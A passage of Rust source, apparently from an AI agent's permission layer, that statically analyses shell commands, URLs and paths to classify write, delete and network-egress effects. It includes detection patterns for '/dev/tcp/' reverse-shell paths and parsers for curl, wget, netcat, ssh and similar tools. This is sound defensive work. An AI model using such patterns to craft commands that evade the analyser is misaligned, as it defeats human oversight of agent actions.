2571 if tail.contains(['[', ']']) || authority.matches('@').count() > 1 {
2573 return None;
2574 }
2575 let host_port = authority
2576 .rsplit_once('@')
2577 .map_or(authority, |(_, host)| host);
2578 let (host, port) = match host_port.strip_prefix('[') {
2579 Some(after) => {
2580 let (inner, port) = after.split_once(']')?;
2581 (format!("[{inner}]"), port)
2582 }
2583 None => match host_port.split_once(':') {
2584 Some((host, _)) => (host.to_string(), &host_port[host.len()..]),
2585 None => (host_port.to_string(), ""),
2586 },
2587 };
2588 if host.contains(['[', ']']) && !host.starts_with('[') {
2589 return None;
2590 }
2591 if let Some(digits) = port.strip_prefix(':') {
2592 if digits.is_empty() || digits.len() > 5 || !digits.chars().all(|c| c.is_ascii_digit()) {
2593 return None;
2594 }
2595 digits.parse::<u16>().ok()?;
2596 } else if !port.is_empty() {
2597 return None;
2598 }
2599 egress_effect(scheme, &host, None)?;
2600 let url = reqwest::Url::parse(raw).ok()?;
2601 let normalize = |host: &str| host.trim_end_matches('.').to_ascii_lowercase();
2602 (normalize(url.host_str()?) == normalize(&host)).then_some(url)
2603}
2604
2605pub fn url_host_effect(url: &reqwest::Url) -> Option<EffectKey> {
2608 let scheme = url.scheme();
2609 let port = url
2612 .port()
2613 .or_else(|| scheme_default_port(scheme))
2614 .or_else(|| url.port_or_known_default())?;
2615 egress_effect(scheme, url.host_str()?, Some(port))
2616}
2617
2618fn structural_absolute_path(raw: &str, cwd: Option<&str>) -> Option<String> {
2625 let raw = raw.trim();
2626 if raw.is_empty() || raw.contains(['$', '`', '*', '?', '[', ']', '{', '}', '\\', '\0']) {
2627 return None;
2628 }
2629 let expanded = if raw == "~" || raw.starts_with("~/") {
2630 format!("{}{}", dirs::home_dir()?.to_str()?, &raw[1..])
2631 } else if raw.starts_with('~') {
2632 return None;
2633 } else {
2634 raw.to_string()
2635 };
2636 if crate::BackendPath::is_absolute(&expanded) {
2637 return Some(expanded);
2638 }
2639 let cwd = cwd
2640 .map(str::trim)
2641 .filter(|cwd| crate::BackendPath::is_absolute(cwd))?;
2642 Some(format!("{}/{expanded}", cwd.trim_end_matches('/')))
2643}
2644
2645pub fn path_effect(class: EffectClass, raw: &str, cwd: Option<&str>) -> Option<EffectKey> {
2654 let absolute = structural_absolute_path(raw, cwd)?;
2655 let lexical = EffectKey::path(class, &absolute)?;
2656 Some(resolved_on_disk(class, lexical))
2657}
2658
2659fn resolved_on_disk(class: EffectClass, lexical: EffectKey) -> EffectKey {
2660 let path = std::path::Path::new(&lexical.target);
2661 let (base, leaf) = match (class, path.parent(), path.file_name()) {
2662 (EffectClass::Delete, Some(parent), Some(name)) => (parent, Some(name)),
2663 _ => (path, None),
2664 };
2665 for ancestor in base.ancestors() {
2666 let Ok(mut real) = dunce::canonicalize(ancestor) else {
2667 continue;
2668 };
2669 if let Ok(rest) = base.strip_prefix(ancestor)
2670 && !rest.as_os_str().is_empty()
2671 {
2672 real.push(rest);
2673 }
2674 if let Some(leaf) = leaf {
2675 real.push(leaf);
2676 }
2677 return real
2678 .to_str()
2679 .and_then(|real| EffectKey::path(class, real))
2680 .unwrap_or(lexical);
2681 }
2682 lexical
2683}
2684
2685pub fn shell_path_effects(
2695 class: EffectClass,
2696 raw: &str,
2697 cwd: Option<&str>,
2698) -> Option<Vec<EffectKey>> {
2699 let absolute = structural_absolute_path(raw, cwd)?;
2700 let components: Vec<&str> = absolute
2701 .split('/')
2702 .filter(|part| !part.is_empty() && *part != ".")
2703 .collect();
2704 let mut existing = components.len();
2705 let base = loop {
2706 let prefix = format!("/{}", components[..existing].join("/"));
2707 if std::fs::symlink_metadata(&prefix).is_ok() {
2708 break dunce::canonicalize(&prefix).ok()?;
2709 }
2710 existing -= 1;
2711 };
2712 let rest = &components[existing..];
2713 if rest.contains(&"..") {
2714 return None;
2715 }
2716 let mut physical = base;
2717 for part in rest {
2718 physical.push(part);
2719 }
2720 let mut keys = vec![EffectKey::path(class, physical.to_str()?)?];
2721 if class == EffectClass::Delete {
2722 let named = path_effect(class, raw, cwd)?;
2723 if !keys.contains(&named) {
2724 keys.push(named);
2725 }
2726 }
2727 Some(keys)
2728}
2729
2730pub fn execution_backend_is_local(backend: &dyn crate::backend::ExecutionBackend) -> bool {
2733 backend.kind() == crate::backend::BackendKind::Local
2734}
2735
2736pub fn without_local_paths(mut effects: CallEffects) -> CallEffects {
2740 effects.keys.retain(|key| {
2741 !matches!(
2742 key.class,
2743 EffectClass::Write | EffectClass::Delete | EffectClass::Configuration
2744 )
2745 });
2746 effects.complete = false;
2747 effects.understood = false;
2748 effects
2749}
2750
2751pub fn file_tool_write_effects(
2755 backend: &dyn crate::backend::ExecutionBackend,
2756 arguments: &str,
2757) -> CallEffects {
2758 if !execution_backend_is_local(backend) {
2759 return CallEffects::unknown();
2760 }
2761 let path = serde_json::from_str::<serde_json::Value>(arguments)
2762 .ok()
2763 .and_then(|args| {
2764 ["path", "file_path", "file", "filename"]
2765 .iter()
2766 .find_map(|key| {
2767 args.get(*key)
2768 .and_then(|value| value.as_str())
2769 .map(str::to_string)
2770 })
2771 });
2772 match path.and_then(|path| path_effect(EffectClass::Write, &path, None)) {
2773 Some(key) => CallEffects {
2774 keys: vec![key],
2775 complete: true,
2776 understood: false,
2777 },
2778 None => CallEffects::unknown(),
2779 }
2780}
2781
2782pub fn shell_call_effects(command: &str, cwd: Option<&str>) -> CallEffects {
2794 let analysis = analyze_shell(command, cwd);
2795 CallEffects {
2796 keys: analysis.keys,
2797 complete: false,
2798 understood: analysis.complete,
2799 }
2800}
2801
2802struct ShellAnalysis {
2803 keys: Vec<EffectKey>,
2804 complete: bool,
2806}
2807
2808impl ShellAnalysis {
2809 fn add(&mut self, key: EffectKey) {
2810 if !self.keys.contains(&key) {
2811 self.keys.push(key);
2812 }
2813 }
2814
2815 fn opaque(&mut self) {
2817 self.complete = false;
2818 }
2819
2820 fn unresolved(&mut self) {
2822 self.complete = false;
2823 }
2824
2825 fn path(&mut self, class: EffectClass, raw: &str, cwd: Option<&str>) {
2826 if raw.contains(['<', '>']) {
2828 self.unresolved();
2829 return;
2830 }
2831 match shell_path_effects(class, raw, cwd) {
2832 Some(keys) => keys.into_iter().for_each(|key| self.add(key)),
2833 None => self.unresolved(),
2834 }
2835 }
2836
2837 fn egress(&mut self, key: Option<EffectKey>) {
2838 match key {
2839 Some(key) => self.add(key),
2840 None => self.opaque(),
2841 }
2842 }
2843}
2844
2845fn executed_text(command: &str) -> String {
2854 let command = shell_text(command);
2855 let chars: Vec<char> = command.chars().collect();
2856 let mut out = String::with_capacity(command.len());
2857 let (mut in_single, mut in_double) = (false, false);
2858 let mut pending: Vec<(String, bool)> = Vec::new();
2860 let mut i = 0;
2861 while i < chars.len() {
2862 let c = chars[i];
2863 if in_single || in_double {
2864 if c == '\n' {
2865 out.push('\0');
2866 } else {
2867 out.push(c);
2868 if c == '\\' && in_double {
2869 if let Some(&next) = chars.get(i + 1) {
2870 out.push(if next == '\n' { '\0' } else { next });
2871 i += 1;
2872 }
2873 } else if (c == '\'' && in_single) || (c == '"' && in_double) {
2874 in_single = false;
2875 in_double = false;
2876 }
2877 }
2878 i += 1;
2879 continue;
2880 }
2881 match c {
2882 '\\' => {
2883 out.push(c);
2884 if let Some(&next) = chars.get(i + 1) {
2885 out.push(next);
2886 i += 1;
2887 }
2888 }
2889 '\'' => {
2890 in_single = true;
2891 out.push(c);
2892 }
2893 '"' => {
2894 in_double = true;
2895 out.push(c);
2896 }
2897 '#' if out
2898 .chars()
2899 .last()
2900 .is_none_or(|p| p.is_whitespace() || matches!(p, ';' | '|' | '&' | '(' | ')')) =>
2901 {
2902 while i < chars.len() && chars[i] != '\n' {
2903 i += 1;
2904 }
2905 continue;
2906 }
2907 '<' if chars.get(i + 1) == Some(&'<') && chars.get(i + 2) != Some(&'<') => {
2908 out.push_str("<<");
2909 let mut j = i + 2;
2910 let strip_tabs = chars.get(j) == Some(&'-');
2911 if strip_tabs {
2912 out.push('-');
2913 j += 1;
2914 }
2915 while chars.get(j).is_some_and(|c| *c == ' ' || *c == '\t') {
2916 out.push(chars[j]);
2917 j += 1;
2918 }
2919 let mut delimiter = String::new();
2920 while let Some(&d) = chars.get(j) {
2921 if d.is_whitespace() || matches!(d, ';' | '|' | '&' | '<' | '>' | '(' | ')') {
2922 break;
2923 }
2924 out.push(d);
2925 if !matches!(d, '\'' | '"' | '\\') {
2926 delimiter.push(d);
2927 }
2928 j += 1;
2929 }
2930 pending.push((delimiter, strip_tabs));
2931 i = j;
2932 continue;
2933 }
2934 '\n' => {
2935 out.push('\n');
2936 for (delimiter, strip_tabs) in std::mem::take(&mut pending) {
2938 loop {
2939 i += 1;
2940 if i >= chars.len() {
2941 break;
2942 }
2943 let end = chars[i..]
2944 .iter()
2945 .position(|c| *c == '\n')
2946 .map_or(chars.len(), |offset| i + offset);
2947 let line: String = chars[i..end].iter().collect();
2948 let line = if strip_tabs {
2949 line.trim_start_matches('\t')
2950 } else {
2951 line.as_str()
2952 };
2953 let done = line == delimiter;
2954 i = end;
2955 if done {
2956 break;
2957 }
2958 }
2959 }
2960 }
2961 _ => out.push(c),
2962 }
2963 i += 1;
2964 }
2965 out
2966}
2967
2968fn analyze_shell(command: &str, cwd: Option<&str>) -> ShellAnalysis {
2969 let mut out = ShellAnalysis {
2970 keys: Vec::new(),
2971 complete: true,
2972 };
2973 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
2974 out.opaque();
2975 }
2976 let changes_directory = expanded_commands(command)
2986 .iter()
2987 .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
2988 if changes_directory {
2989 out.unresolved();
2990 }
2991 let mut here: Option<String> = cwd
2992 .map(str::trim)
2993 .filter(|dir| crate::BackendPath::is_absolute(dir))
2994 .map(str::to_string);
2995 for line in executed_text(&command.replace("\\\n", " ")).split('\n') {
2998 let scanned = scan(line);
2999 if scanned.unsafe_syntax {
3001 out.opaque();
3002 }
3003 let line_moves = scanned.segments.iter().any(|segment| {
3006 shell_words::split(segment).is_ok_and(|tokens| {
3007 tokens
3008 .first()
3009 .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
3010 })
3011 });
3012 for target in &scanned.output_targets {
3013 if target.contains(['"', '\'']) || line_moves {
3014 out.unresolved();
3015 } else {
3016 out.path(EffectClass::Write, target, here.as_deref());
3017 }
3018 }
3019 for (index, segment) in scanned.segments.iter().enumerate() {
3020 if segment.trim().is_empty() {
3021 continue;
3022 }
3023 if has_expansion(segment) {
3024 out.opaque();
3025 }
3026 let Ok(tokens) = shell_words::split(segment) else {
3027 out.opaque();
3028 continue;
3029 };
3030 let tokens = strip_redirections(tokens);
3031 match tokens.first().map(|program| basename(program)) {
3032 Some("cd") => {
3033 here = if scanned.separators.iter().any(|c| matches!(c, '(' | ')'))
3034 || !runs_on_after(&scanned, index)
3035 || has_expansion(segment)
3036 {
3037 None
3038 } else {
3039 changed_directory(&tokens[1..], here.as_deref())
3040 };
3041 }
3042 Some("pushd" | "popd") => here = None,
3043 _ => segment_effects(&tokens, here.as_deref(), &mut out),
3044 }
3045 }
3046 }
3047 let executed = executed_text(&command.replace("\\\n", " "));
3050 for tokens in expanded_commands(&executed) {
3051 let mut inner = ShellAnalysis {
3052 keys: Vec::new(),
3053 complete: true,
3054 };
3055 segment_effects(&tokens, cwd, &mut inner);
3056 for key in inner.keys {
3057 if key.class == EffectClass::Egress {
3058 out.add(key);
3059 }
3060 }
3061 }
3062 out
3063}
3064
3065fn runs_on_after(scanned: &Scan, index: usize) -> bool {
3069 let doubled = |c: char| {
3070 scanned
3071 .segments
3072 .get(index + 1)
3073 .is_some_and(|next| next.trim().is_empty())
3074 && scanned.separators.get(index + 1) == Some(&c)
3075 };
3076 match scanned.separators.get(index) {
3077 None | Some(';') => true,
3078 Some('&') => doubled('&'),
3079 Some('|') => doubled('|'),
3080 Some(_) => false,
3081 }
3082}
3083
3084fn changed_directory(args: &[String], here: Option<&str>) -> Option<String> {
3088 let [target] = args else {
3089 return None;
3090 };
3091 if target.starts_with('-') {
3092 return None;
3093 }
3094 let absolute = structural_absolute_path(target, here)?;
3095 EffectKey::path(EffectClass::Write, &absolute).map(|key| key.target)
3096}
3097
3098fn has_expansion(segment: &str) -> bool {
3102 let chars: Vec<char> = segment.chars().collect();
3103 let (mut in_single, mut in_double) = (false, false);
3104 for (index, &c) in chars.iter().enumerate() {
3105 if in_single {
3106 in_single = c != '\'';
3107 continue;
3108 }
3109 if in_double {
3110 match c {
3111 '"' => in_double = false,
3112 '$' | '`' | '\\' => return true,
3113 _ => {}
3114 }
3115 continue;
3116 }
3117 match c {
3118 '\'' => in_single = true,
3119 '"' => in_double = true,
3120 '{' | '}' | '*' | '?' | '[' | ']' | '$' | '`' | '\\' => return true,
3121 '~' => {
3122 let word_start = index == 0 || chars[index - 1].is_whitespace();
3123 let user = chars
3124 .get(index + 1)
3125 .is_some_and(|next| !next.is_whitespace() && *next != '/');
3126 if word_start && user {
3127 return true;
3128 }
3129 }
3130 _ => {}
3131 }
3132 }
3133 false
3134}
3135
3136fn segment_effects(tokens: &[String], here: Option<&str>, out: &mut ShellAnalysis) {
3137 let Some(program) = tokens.first() else {
3138 return;
3139 };
3140 let path_ok = !program.contains('/')
3141 || program
3142 .rsplit_once('/')
3143 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3144 if is_env_assignment(program) || !path_ok {
3145 out.opaque();
3146 return;
3147 }
3148 let name = basename(program);
3149 let args = &tokens[1..];
3150 if name != "git" && is_program_observation(name, args) {
3154 return;
3155 }
3156 match name {
3157 "cd" | "pushd" | "popd" => {}
3159 "rm" | "rmdir" | "unlink" => {
3160 if parse_options(&REMOVE, args).is_some() {
3161 deleted(tokens, here, out)
3162 } else {
3163 out.unresolved()
3164 }
3165 }
3166 "find"
3167 if args.iter().any(|arg| arg == "-delete")
3168 && !args
3169 .iter()
3170 .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())) =>
3171 {
3172 deleted(tokens, here, out)
3173 }
3174 "cp" | "mv" => copied(name, args, here, out),
3175 "tee" | "touch" | "mkdir" => created(name, args, here, out),
3176 "curl" => curl(args, here, out),
3177 "wget" => wget(args, here, out),
3178 "invoke-webrequest" => powershell_web(args, out),
3179 name if in_powershell_table(POWERSHELL_DELETES, name) => {
3180 if powershell_args_plain(args) {
3181 deleted(tokens, here, out)
3182 } else {
3183 out.unresolved()
3184 }
3185 }
3186 "http" | "https" | "xh" | "xhs" => httpie(args, here, out),
3187 "nc" | "ncat" | "netcat" => netcat(args, out),
3188 "ssh" => ssh(args, here, out),
3189 "scp" => scp(args, here, out),
3190 "rsync" => rsync(args, here, out),
3191 "git" => git(args, here, out),
3192 _ => out.opaque(),
3193 }
3194}
3195
3196fn powershell_web(args: &[String], out: &mut ShellAnalysis) {
3201 out.opaque();
3202 for arg in args {
3203 if arg.contains("://") {
3204 match url_effect(arg) {
3205 Some(key) => out.add(key),
3206 None => out.unresolved(),
3207 }
3208 }
3209 }
3210}
3211
3212const REMOVE: OptionSpec = OptionSpec {
3213 flags: "rRfidIvP",
3214 valued: &[],
3215 long_flags: &[
3216 "recursive",
3217 "force",
3218 "dir",
3219 "verbose",
3220 "interactive",
3221 "one-file-system",
3222 "preserve-root",
3223 "ignore-fail-on-non-empty",
3224 "parents",
3225 ],
3226 long_valued: &[],
3227 long_equals: false,
3228 exact: &[],
3229 stop_at_positional: false,
3230};
3231
3232fn deleted(tokens: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3233 match delete_targets(&shell_words::join(tokens)) {
3234 Some(targets) => {
3235 for target in targets {
3236 out.path(EffectClass::Delete, &target, cwd);
3237 }
3238 }
3239 None => out.unresolved(),
3240 }
3241}
3242
3243#[derive(Clone, Copy, PartialEq, Eq)]
3245enum OptionValue {
3246 Ignore,
3248 Url,
3250 Write,
3252 Document,
3254 Port,
3256 TargetDir,
3258}
3259
3260struct OptionSpec {
3263 flags: &'static str,
3265 valued: &'static [(char, OptionValue)],
3267 long_flags: &'static [&'static str],
3268 long_valued: &'static [(&'static str, OptionValue)],
3269 long_equals: bool,
3271 exact: &'static [&'static str],
3273 stop_at_positional: bool,
3276}
3277
3278#[derive(Default)]
3279struct ParsedOptions {
3280 positionals: Vec<String>,
3281 values: Vec<(OptionValue, String)>,
3282 long_flags: Vec<String>,
3283}
3284
3285fn parse_options(spec: &OptionSpec, args: &[String]) -> Option<ParsedOptions> {
3286 let mut parsed = ParsedOptions::default();
3287 let mut index = 0;
3288 let mut options_done = false;
3289 while index < args.len() {
3290 let arg = &args[index];
3291 index += 1;
3292 if options_done || arg == "-" || !arg.starts_with('-') {
3293 parsed.positionals.push(arg.clone());
3294 options_done |= spec.stop_at_positional;
3295 continue;
3296 }
3297 if arg == "--" {
3298 options_done = true;
3299 continue;
3300 }
3301 if spec.exact.contains(&arg.as_str()) {
3302 continue;
3303 }
3304 if let Some(long) = arg.strip_prefix("--") {
3305 if let Some((name, value)) = long.split_once('=') {
3306 if !spec.long_equals {
3307 return None;
3308 }
3309 let role = lookup(spec.long_valued, name)?;
3310 parsed.values.push((role, attached_value(value)));
3311 } else if spec.long_flags.contains(&long) {
3312 parsed.long_flags.push(long.to_string());
3313 } else {
3314 let role = lookup(spec.long_valued, long)?;
3315 parsed.values.push((role, args.get(index)?.clone()));
3316 index += 1;
3317 }
3318 continue;
3319 }
3320 let cluster: Vec<char> = arg[1..].chars().collect();
3321 for (position, letter) in cluster.iter().enumerate() {
3322 if spec.flags.contains(*letter) {
3323 continue;
3324 }
3325 let role = spec
3326 .valued
3327 .iter()
3328 .find(|(short, _)| short == letter)
3329 .map(|(_, role)| *role)?;
3330 let rest: String = cluster[position + 1..].iter().collect();
3331 let value = if rest.is_empty() {
3332 index += 1;
3333 args.get(index - 1)?.clone()
3334 } else {
3335 rest
3336 };
3337 parsed.values.push((role, attached_value(&value)));
3338 break;
3339 }
3340 }
3341 Some(parsed)
3342}
3343
3344fn attached_value(value: &str) -> String {
3348 if value.starts_with('~') {
3349 format!("./{value}")
3350 } else {
3351 value.to_string()
3352 }
3353}
3354
3355fn lookup(table: &[(&str, OptionValue)], name: &str) -> Option<OptionValue> {
3356 table
3357 .iter()
3358 .find(|(long, _)| *long == name)
3359 .map(|(_, role)| *role)
3360}
3361
3362fn apply_values(parsed: &ParsedOptions, cwd: Option<&str>, out: &mut ShellAnalysis) {
3365 for (role, value) in &parsed.values {
3366 match role {
3367 OptionValue::Write | OptionValue::Document if value != "-" => {
3368 out.path(EffectClass::Write, value, cwd)
3369 }
3370 OptionValue::Url => out.egress(url_effect(value)),
3371 _ => {}
3372 }
3373 }
3374}
3375
3376const CURL: OptionSpec = OptionSpec {
3377 flags: "sSLfiIkvGNqjgn0123456#Z",
3378 valued: &[
3379 ('X', OptionValue::Ignore),
3380 ('d', OptionValue::Ignore),
3381 ('H', OptionValue::Ignore),
3382 ('u', OptionValue::Ignore),
3383 ('A', OptionValue::Ignore),
3384 ('e', OptionValue::Ignore),
3385 ('F', OptionValue::Ignore),
3386 ('m', OptionValue::Ignore),
3387 ('T', OptionValue::Ignore),
3388 ('b', OptionValue::Ignore),
3389 ('w', OptionValue::Ignore),
3390 ('r', OptionValue::Ignore),
3391 ('C', OptionValue::Ignore),
3392 ('Y', OptionValue::Ignore),
3393 ('y', OptionValue::Ignore),
3394 ('z', OptionValue::Ignore),
3395 ('E', OptionValue::Ignore),
3396 ('U', OptionValue::Ignore),
3397 ('o', OptionValue::Write),
3398 ('D', OptionValue::Write),
3399 ('c', OptionValue::Write),
3400 ],
3401 long_flags: &[
3402 "silent",
3403 "show-error",
3404 "location",
3405 "location-trusted",
3406 "fail",
3407 "fail-with-body",
3408 "fail-early",
3409 "include",
3410 "head",
3411 "insecure",
3412 "verbose",
3413 "get",
3414 "compressed",
3415 "http0.9",
3416 "http1.0",
3417 "http1.1",
3418 "http2",
3419 "http2-prior-knowledge",
3420 "http3",
3421 "http3-only",
3422 "no-buffer",
3423 "globoff",
3424 "ipv4",
3425 "ipv6",
3426 "no-progress-meter",
3427 "progress-bar",
3428 "netrc",
3429 "netrc-optional",
3430 "raw",
3431 "tr-encoding",
3432 "no-keepalive",
3433 "ssl-reqd",
3434 "tcp-nodelay",
3435 "path-as-is",
3436 "retry-all-errors",
3437 "retry-connrefused",
3438 "anyauth",
3439 "basic",
3440 "digest",
3441 "ntlm",
3442 "negotiate",
3443 "disable",
3444 "junk-session-cookies",
3445 "parallel",
3446 "tlsv1.2",
3447 "tlsv1.3",
3448 "styled-output",
3449 "no-styled-output",
3450 ],
3451 long_valued: &[
3452 ("url", OptionValue::Url),
3453 ("request", OptionValue::Ignore),
3454 ("data", OptionValue::Ignore),
3455 ("data-raw", OptionValue::Ignore),
3456 ("data-binary", OptionValue::Ignore),
3457 ("data-urlencode", OptionValue::Ignore),
3458 ("data-ascii", OptionValue::Ignore),
3459 ("json", OptionValue::Ignore),
3460 ("header", OptionValue::Ignore),
3461 ("user", OptionValue::Ignore),
3462 ("user-agent", OptionValue::Ignore),
3463 ("referer", OptionValue::Ignore),
3464 ("form", OptionValue::Ignore),
3465 ("form-string", OptionValue::Ignore),
3466 ("max-time", OptionValue::Ignore),
3467 ("connect-timeout", OptionValue::Ignore),
3468 ("upload-file", OptionValue::Ignore),
3469 ("cookie", OptionValue::Ignore),
3470 ("write-out", OptionValue::Ignore),
3471 ("range", OptionValue::Ignore),
3472 ("retry", OptionValue::Ignore),
3473 ("retry-delay", OptionValue::Ignore),
3474 ("retry-max-time", OptionValue::Ignore),
3475 ("cacert", OptionValue::Ignore),
3476 ("capath", OptionValue::Ignore),
3477 ("cert", OptionValue::Ignore),
3478 ("cert-type", OptionValue::Ignore),
3479 ("key", OptionValue::Ignore),
3480 ("key-type", OptionValue::Ignore),
3481 ("oauth2-bearer", OptionValue::Ignore),
3482 ("max-redirs", OptionValue::Ignore),
3483 ("limit-rate", OptionValue::Ignore),
3484 ("max-filesize", OptionValue::Ignore),
3485 ("continue-at", OptionValue::Ignore),
3486 ("time-cond", OptionValue::Ignore),
3487 ("proxy-user", OptionValue::Ignore),
3488 ("output", OptionValue::Write),
3489 ("dump-header", OptionValue::Write),
3490 ("cookie-jar", OptionValue::Write),
3491 ("trace", OptionValue::Write),
3492 ("trace-ascii", OptionValue::Write),
3493 ("libcurl", OptionValue::Write),
3494 ("stderr", OptionValue::Write),
3495 ("etag-save", OptionValue::Write),
3496 ],
3497 long_equals: false,
3498 exact: &[],
3499 stop_at_positional: false,
3500};
3501
3502fn curl(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3503 let Some(parsed) = parse_options(&CURL, args) else {
3504 out.opaque();
3505 return;
3506 };
3507 if parsed
3509 .values
3510 .iter()
3511 .any(|(_, value)| value.contains("%output{"))
3512 {
3513 out.unresolved();
3514 }
3515 apply_values(&parsed, cwd, out);
3516 for url in &parsed.positionals {
3517 out.egress(url_effect(url));
3518 }
3519}
3520
3521const WGET: OptionSpec = OptionSpec {
3522 flags: "qvSc",
3523 valued: &[
3524 ('O', OptionValue::Document),
3525 ('o', OptionValue::Write),
3526 ('a', OptionValue::Write),
3527 ('T', OptionValue::Ignore),
3528 ('t', OptionValue::Ignore),
3529 ('U', OptionValue::Ignore),
3530 ],
3531 long_flags: &[
3532 "quiet",
3533 "verbose",
3534 "no-verbose",
3535 "server-response",
3536 "spider",
3537 "continue",
3538 "no-check-certificate",
3539 "no-clobber",
3540 "inet4-only",
3541 "inet6-only",
3542 "no-cache",
3543 "no-cookies",
3544 "content-on-error",
3545 "ignore-length",
3546 "auth-no-challenge",
3547 "no-proxy",
3548 ],
3549 long_valued: &[
3550 ("output-document", OptionValue::Document),
3551 ("output-file", OptionValue::Write),
3552 ("append-output", OptionValue::Write),
3553 ("save-cookies", OptionValue::Write),
3554 ("timeout", OptionValue::Ignore),
3555 ("tries", OptionValue::Ignore),
3556 ("header", OptionValue::Ignore),
3557 ("method", OptionValue::Ignore),
3558 ("body-data", OptionValue::Ignore),
3559 ("body-file", OptionValue::Ignore),
3560 ("post-data", OptionValue::Ignore),
3561 ("post-file", OptionValue::Ignore),
3562 ("user-agent", OptionValue::Ignore),
3563 ("user", OptionValue::Ignore),
3564 ("password", OptionValue::Ignore),
3565 ("http-user", OptionValue::Ignore),
3566 ("http-password", OptionValue::Ignore),
3567 ("referer", OptionValue::Ignore),
3568 ("wait", OptionValue::Ignore),
3569 ("limit-rate", OptionValue::Ignore),
3570 ("read-timeout", OptionValue::Ignore),
3571 ("connect-timeout", OptionValue::Ignore),
3572 ("dns-timeout", OptionValue::Ignore),
3573 ("max-redirect", OptionValue::Ignore),
3574 ("progress", OptionValue::Ignore),
3575 ("ca-certificate", OptionValue::Ignore),
3576 ("certificate", OptionValue::Ignore),
3577 ("private-key", OptionValue::Ignore),
3578 ("load-cookies", OptionValue::Ignore),
3579 ],
3580 long_equals: true,
3581 exact: &["-nv", "-nc", "-nd", "-nH"],
3582 stop_at_positional: false,
3583};
3584
3585fn wget(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3586 let Some(parsed) = parse_options(&WGET, args) else {
3587 out.opaque();
3588 return;
3589 };
3590 apply_values(&parsed, cwd, out);
3591 for url in &parsed.positionals {
3592 out.egress(url_effect(url));
3593 }
3594 let names_output = parsed
3596 .values
3597 .iter()
3598 .any(|(role, _)| *role == OptionValue::Document);
3599 let spider = parsed.long_flags.iter().any(|flag| flag == "spider");
3600 if !names_output && !spider {
3601 out.unresolved();
3602 }
3603}
3604
3605pub fn proven_fetch_urls(command: &str) -> Option<Vec<String>> {
3617 let scanned = scan(command);
3618 if scanned.unsafe_syntax || !scanned.separators.len().is_multiple_of(2) {
3619 return None;
3620 }
3621 for (pair, between) in scanned
3623 .separators
3624 .chunks(2)
3625 .zip(scanned.segments.iter().skip(1).step_by(2))
3626 {
3627 if pair != ['&', '&'] || !between.is_empty() {
3628 return None;
3629 }
3630 }
3631 let mut urls = Vec::new();
3632 for segment in scanned.segments.iter().step_by(2) {
3633 if has_expansion(segment) {
3634 return None;
3635 }
3636 let tokens = strip_redirections(shell_words::split(segment).ok()?);
3637 let (program, args) = tokens.split_first()?;
3638 let path_ok = !program.contains('/')
3639 || program
3640 .rsplit_once('/')
3641 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3642 if !path_ok {
3643 return None;
3644 }
3645 let spec = match basename(program) {
3646 "curl" => &CURL,
3647 "wget" => &WGET,
3648 _ => return None,
3649 };
3650 let parsed = parse_options(spec, args)?;
3651 let mut named = parsed.positionals.iter().chain(
3652 parsed
3653 .values
3654 .iter()
3655 .filter(|(role, _)| *role == OptionValue::Url)
3656 .map(|(_, value)| value),
3657 );
3658 let url = named.next()?;
3659 if named.next().is_some() || strict_url(url).is_none() {
3660 return None;
3661 }
3662 urls.push(url.clone());
3663 }
3664 Some(urls)
3665}
3666
3667const HTTPIE: OptionSpec = OptionSpec {
3668 flags: "vhbfjFIq",
3669 valued: &[
3670 ('p', OptionValue::Ignore),
3671 ('s', OptionValue::Ignore),
3672 ('a', OptionValue::Ignore),
3673 ('A', OptionValue::Ignore),
3674 ('o', OptionValue::Write),
3675 ],
3676 long_flags: &[
3677 "json",
3678 "form",
3679 "multipart",
3680 "verbose",
3681 "headers",
3682 "body",
3683 "follow",
3684 "check-status",
3685 "ignore-stdin",
3686 "quiet",
3687 "offline",
3688 "all",
3689 ],
3690 long_valued: &[
3691 ("print", OptionValue::Ignore),
3692 ("pretty", OptionValue::Ignore),
3693 ("style", OptionValue::Ignore),
3694 ("auth", OptionValue::Ignore),
3695 ("auth-type", OptionValue::Ignore),
3696 ("timeout", OptionValue::Ignore),
3697 ("max-redirects", OptionValue::Ignore),
3698 ("verify", OptionValue::Ignore),
3699 ("cert", OptionValue::Ignore),
3700 ("cert-key", OptionValue::Ignore),
3701 ("output", OptionValue::Write),
3702 ],
3703 long_equals: true,
3704 exact: &[],
3705 stop_at_positional: false,
3706};
3707
3708fn httpie(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3712 let Some(parsed) = parse_options(&HTTPIE, args) else {
3713 out.opaque();
3714 return;
3715 };
3716 apply_values(&parsed, cwd, out);
3717 let mut positionals = parsed.positionals.iter();
3718 let mut url = positionals.next();
3719 if url.is_some_and(|word| !word.is_empty() && word.chars().all(|c| c.is_ascii_uppercase())) {
3720 url = positionals.next();
3721 }
3722 let Some(url) = url else {
3723 out.opaque();
3724 return;
3725 };
3726 out.egress(url_effect(url));
3727}
3728
3729const NETCAT: OptionSpec = OptionSpec {
3730 flags: "vznu46CDdN",
3731 valued: &[
3732 ('w', OptionValue::Ignore),
3733 ('p', OptionValue::Ignore),
3734 ('s', OptionValue::Ignore),
3735 ('q', OptionValue::Ignore),
3736 ('i', OptionValue::Ignore),
3737 ],
3738 long_flags: &[],
3739 long_valued: &[],
3740 long_equals: false,
3741 exact: &[],
3742 stop_at_positional: false,
3743};
3744
3745fn netcat(args: &[String], out: &mut ShellAnalysis) {
3747 let target = parse_options(&NETCAT, args).and_then(|parsed| match &parsed.positionals[..] {
3748 [host, port] => egress_effect("", host, Some(port.parse::<u16>().ok()?)),
3749 _ => None,
3750 });
3751 out.egress(target);
3752}
3753
3754const SSH: OptionSpec = OptionSpec {
3755 flags: "46AaCfGgKkMNnqsTtVvXxYy",
3756 valued: &[
3757 ('p', OptionValue::Port),
3758 ('i', OptionValue::Ignore),
3759 ('l', OptionValue::Ignore),
3760 ('L', OptionValue::Ignore),
3761 ('R', OptionValue::Ignore),
3762 ('D', OptionValue::Ignore),
3763 ('c', OptionValue::Ignore),
